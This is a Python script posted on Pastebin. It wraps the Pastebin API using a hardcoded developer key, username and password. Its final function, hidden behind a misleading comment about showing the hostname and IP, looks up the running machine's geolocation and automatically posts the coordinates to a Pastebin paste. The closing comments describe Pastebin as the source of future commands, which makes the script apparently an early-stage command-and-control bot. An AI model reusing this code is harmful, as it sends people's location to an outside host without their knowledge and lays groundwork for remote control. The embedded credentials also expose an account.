· 6 years ago · Nov 06, 2019, 01:56 PM
1import requests
2
3devKey = "6a6a97ae7b1a4cc43cad3cf904de0905"
4username = "THE_BOT_MEEK_2"
5password = "David!"
6
7# Get the user key needed to access the API
8# Takes a user dict as paramater
9def getSessionKey(devKey, username, password):
10 paramaters = {
11 "api_dev_key": devKey,
12 "api_user_name": username,
13 "api_user_password": password
14 }
15 # Send request and get response
16 response = requests.post(url = "https://pastebin.com/api/api_login.php", data = paramaters)
17 # Remove formatting data
18 sessionKey = outputBytesToString(response.content)
19 return sessionKey
20
21# Removes formatting and converts the API output to a string
22def outputBytesToString(outputBytes):
23 strVersion = str(outputBytes)
24 strVersion = strVersion[:-1]
25 strVersion = strVersion[2:]
26 strVersion = strVersion.replace("\\r\\n", "\n")
27 return strVersion
28
29# The key that you use instead of your username and password
30sessionKey = getSessionKey(devKey, username, password)
31del(username)
32del(password)
33
34# Returns the content of a paste as a string
35# Takse a user dict, a session key and a paste
36# ID (from the URL)
37def getPaste(pasteKey, sessionKey = sessionKey, devKey = devKey):
38 paramaters = {
39 "api_dev_key": devKey,
40 "api_user_key": sessionKey,
41 "api_paste_key": pasteKey,
42 "api_option": "show_paste"
43 }
44 response = requests.post(url = "https://pastebin.com/api/api_raw.php", data = paramaters)
45 pasteText = outputBytesToString(response.content)
46 return pasteText
47
48# Posts a paste, and returns the paste ID.
49# Full details are available at https://pastebin.com/api
50def makePaste(pasteName, pasteText, expiryDate = "N", privacy = "0", devKey = devKey, sessionKey = sessionKey):
51 paramaters = {
52 "api_option": "paste",
53 "api_dev_key": devKey,
54 "api_paste_code": pasteText,
55 "api_paste_private": privacy,
56 "api_paste_name": pasteName,
57 "api_paste_expire_date": expiryDate,
58 "api_user_key": sessionKey
59 }
60 response = requests.post(url = "https://pastebin.com/api/api_post.php", data = paramaters)
61 output = outputBytesToString(response.content)
62 return output
63
64# Write a paste to a given file
65def writePasteToFile(pasteKey, fileName, binary=False):
66 paste = getPaste(pasteKey)
67 # Allow writing direct to binary
68 if binary == True:
69 mode = "wb"
70 else:
71 mode = "w"
72 with open(fileName, mode) as outputFile:
73 outputFile.write(paste)
74 return True
75
76def deletePaste(pasteKey, sessionKey=sessionKey, devKey=devKey):
77 paramaters = {
78 "api_dev_key": devKey,
79 "api_user_key": sessionKey,
80 "api_paste_key": pasteKey,
81 "api_option": "delete"
82 }
83 response = requests.post(url = "https://pastebin.com/api/api_post.php", data = paramaters)
84 output = outputBytesToString(response.content)
85 return output
86
87# Python3 code to display hostname and
88# IP address
89
90# Importing socket library
91
92def send_location():
93 import requests
94 r = requests.get('https://api.ipdata.co?api-key=test').json()
95
96
97
98 print(makePaste("ping.txt",str(r['latitude'])+","+str(r['longitude'])))
99
100send_location()
101#start bing bong
102#the website that all comand will be take from